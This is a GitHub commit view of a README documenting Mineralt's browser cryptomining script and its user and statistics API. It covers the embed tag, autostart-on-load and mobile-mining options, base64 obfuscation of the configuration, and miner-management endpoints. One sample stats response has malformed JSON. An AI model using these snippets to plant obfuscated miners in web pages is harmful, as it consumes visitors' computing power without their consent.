Skip to content

Commit a527bc2

Browse files
authored
Update README.md
1 parent ebb782a commit a527bc2

File tree

1 file changed

+230
-1
lines changed

1 file changed

+230
-1
lines changed

README.md

Lines changed: 230 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,231 @@
1-
# mineralt-user-and-statistics-api
1+
# Mineralt Developer API Documentation and Reference
2+
23
Developer API Documentation and Reference
4+
5+
# Installation
6+
7+
To use the mining script, the following should be added to the <head> section of your Web page:
8+
9+
```js
10+
<script async class="your_miner_id;60;1" src="https://ourserver/miner.js"></script>
11+
```
12+
13+
### Script Parameters
14+
Mining script accepts parameters from class attribute. Parameters are positional, and separated by semicolon ;.
15+
16+
0. Your miner identificator.
17+
1. Max CPU usage; may be of range 10...100
18+
2. Autostart option; may be 0 (no auto-start) or 1 (auto-start mining on page load).
19+
20+
Note:
21+
By default, mining on mobile devices are disabled.
22+
You can turn it on by prepending Max CPU usage parametr with - character.
23+
24+
Mobile mining off
25+
_class="your_miner_id;60;1"_
26+
27+
28+
Mobile mining on
29+
_class="your_miner_id;-60;1"_
30+
31+
### Parameters obfuscation
32+
For security reasons script configuration string need to be obfuscate it by encoding it as base64, and prepending base64 string with = character.
33+
34+
For example, the same configuration as in example above will look like:
35+
36+
```js
37+
<script async class="=eW91cl9taW5lcl9pZDs2MDsx" src="https://ourserver/miner.js"></script>
38+
```
39+
40+
The base64 above can be generated by command:
41+
42+
```bash
43+
echo -n 'your_miner_id;60;1' | base64
44+
```
45+
46+
```php
47+
echo base64_encode('your_miner_id;60;1');
48+
```
49+
50+
```js
51+
btoa('your_miner_id;60;1');
52+
```
53+
54+
You can use online tool from Google - [G Suite Toolbox Encode/Decode](https://toolbox.googleapps.com/apps/encode_decode/)
55+
56+
# API reference
57+
Script provides several API methods in the window._am object.
58+
* start() - starts the miner, if it is not started already
59+
* stop() - stops the miner
60+
* setlf(n) - sets CPU load factor n in percents
61+
* getlf() - get current CPU load factor
62+
* hps() - returns current hash rate
63+
* th() - returns total number of locally calculated hashes since last successful connection (that is, resets to zero each time when mining restarted). Note that this value is for informational purposes only and is not the same as amount of hashes accepted by the pool: hashes are accepted by the pool only as a result of successfully solved and submitted share of certain difficulty, which may take a long time to solve.
64+
*setcb(function(e,v)) - set function f as call-back for mining start/end. When mining starts, this function will be called with e='c' (connect); when mining ends, it will be called with e='d' (disconnect) and the second parameter will bemining session time in milliseconds; if the mining not started because other miner is active in other browser tab, it will emit event 'w' periodically (waiting).
65+
* i() - returns dict of script info: { 'b': 'build-version', 's': script source URL, 'p': [ minerid, load, autostart, server_urls ] }
66+
67+
Example (returns current hash rate):
68+
```js
69+
window._am.hps()
70+
```
71+
# User and Statistics API
72+
### Authentication and Authorization
73+
In order to access the API, the user must pass his token each time it is accessed. To do this, use the http-header Authorization:
74+
```json
75+
'Authorization': 'Bearer user-token-here'
76+
```
77+
Extra title is needed also for the JSON answer:
78+
```json
79+
'Accept': 'application/json'
80+
```
81+
### URL for call
82+
The URL for the call consists of the base part (endpoint) https://mineralt.io/api/v1 and the name of the request.
83+
84+
Now 3 names of request exist: *ping* (check), *miner* (management of miners) and *stats* (user statistics on miners).
85+
86+
To access each name, you must use the correct http method (GET, POST, PUT, PATCH, DELETE) and pass the correct parameters.
87+
88+
### Request PING
89+
The PING request is used to verify that the user's token is correct. Request to PING must be through GET and without parameters. Full URL - https://mineralt.io/api/v1/ping If successful, the answer will be:
90+
```json
91+
{
92+
"success": true
93+
}
94+
```
95+
For the PING request, 60 hits per minute are allowed by the user, then a break for a 1 minute.
96+
97+
### Request STATS
98+
The STATS request is used to obtain statistics on the miner of this user. Use POST to request STAT. Full URL - https://mineralt.io/api/v1/stats The parameters can be the following (name and example):
99+
100+
* from_date - the starting date of the sample (for example, 2018-03-10)
101+
* to_date - the end date of the sample (for example, 2018-03-12)
102+
* miner_id - ID of the miner (for example, 1SjbrQpf7)
103+
*
104+
If you do not specify dates, then the sample will be for the current day. If you do not specify miner_id, then the selection will be for all miner_id users.
105+
106+
Example response:
107+
108+
```json
109+
{
110+
"success": true,
111+
"data":
112+
{
113+
"2018-05-03":
114+
{
115+
"0kKQKTNr": {"xmr_hashes": "0", "xmr_logins": "6", "xmr_amount": "0.00000000", "etn_hashes": "0", "etn_logins": "0", "etn_amount": " 0.00000000, sumo_hashes: 0, sumo_logins: 0, sumo_amount: 0.00000000, nh_hashes: 0, nh_logins: 0, nh_amount: 0.00000000 },
116+
"32UQ3ssQ": {"xmr_hashes": "504004", "xmr_logins": "69", "xmr_amount": "0.00004042", "etn_hashes": "0", "etn_logins": "0", "etn_amount": " 0.00000000, sumo_hashes: 0, sumo_logins: 0, sumo_amount: 0.00000000, nh_hashes: 0, nh_logins: 0, nh_amount: 0.00000000 },
117+
"5oXHFTzN": {"xmr_hashes": "0", "xmr_logins": "0", "xmr_amount": "0.00000000", "etn_hashes": "0", "etn_logins": "0", "etn_amount": " 0.00000000, sumo_hashes: 0, sumo_logins: 0, sumo_amount: 0.00000000, nh_hashes: 0, nh_logins: 0, nh_amount: 0.00000000 }
118+
}
119+
}
120+
}
121+
```
122+
123+
5 stats requests is allowed per 1 minute for 1 user, then a break for 1 minute.
124+
125+
### Resource MINER
126+
To work with miner_id, use the CRUD resource miner.
127+
128+
### Getting the list of miners
129+
Request
130+
GET https://mineralt.io/api/v1/miner
131+
Example response
132+
```json
133+
{
134+
"success": true,
135+
"data": [
136+
{
137+
"title": "SomeTitle (DF)",
138+
"url": "somesite.net",
139+
"coin": "xmr",
140+
"cpu_load": 60,
141+
"cpu_load_mode": "manual",
142+
"miner_id": "qQl4u900"
143+
},
144+
{
145+
"title": "STM DF 2018",
146+
"url": "somesite.net",
147+
"coin": "xmr",
148+
"cpu_load": 60,
149+
"cpu_load_mode": "manual",
150+
"miner_id": "SjbrQpPz"
151+
}
152+
]
153+
}
154+
```
155+
156+
### Displaying data for a specific miner
157+
Request
158+
GET https://mineralt.io/api/v1/miner/you-miner-id
159+
(where you-miner-id is the miner_id)
160+
Example response
161+
```json
162+
{
163+
"success": true,
164+
"data": {
165+
"title": "GVR4",
166+
"url": "gvr5.test",
167+
"coin": "auto",
168+
"cpu_load": 60,
169+
"cpu_load_mode": "online",
170+
"miner_id": "-lHoYgvR"
171+
}
172+
}
173+
```
174+
### Adding a Miner
175+
Request:
176+
177+
POST https://mineralt.io/api/v1/miner
178+
Possible parameters
179+
* title - header (up to 256 characters)
180+
* url - Site URL
181+
* coin - coin code (xmr, etn, sumo, nh) or auto
182+
183+
Example response
184+
```json
185+
{
186+
"success": true,
187+
"data": {
188+
"title": "GVR4",
189+
"url": "gvr5.test",
190+
"coin": "auto",
191+
"cpu_load": 60,
192+
"cpu_load_mode": "online",
193+
"miner_id": "-lHoYgvR"
194+
}
195+
}
196+
```
197+
198+
### Miner update
199+
Request
200+
PATCH https://mineralt.io/api/v1/miner/you-miner-id
201+
(where you-miner-id is the miner_id)
202+
Possible parameters:
203+
* title - header (up to 256 characters)
204+
* url - Site URL
205+
* coin - coin code (xmr, etn, sumo, nh) or auto
206+
* cpu_load - integer, percentage of CPU usage
207+
* cpu_load_mode - processor load control mode: manual or online
208+
Example response
209+
```json
210+
{
211+
"success": true,
212+
"data": {
213+
"title": "GVR4",
214+
"url": "gvr5.test",
215+
"coin": "auto",
216+
"cpu_load": 60,
217+
"cpu_load_mode": "online",
218+
"miner_id": "-lHoYgvR"
219+
}
220+
}
221+
```
222+
## Delete miner
223+
Request
224+
DELETE https://mineralt.io/api/v1/miner/you-miner-id
225+
(where you-miner-id is the miner_id)
226+
Example response
227+
```json
228+
{
229+
"success": true
230+
}
231+
```

0 commit comments

Comments
 (0)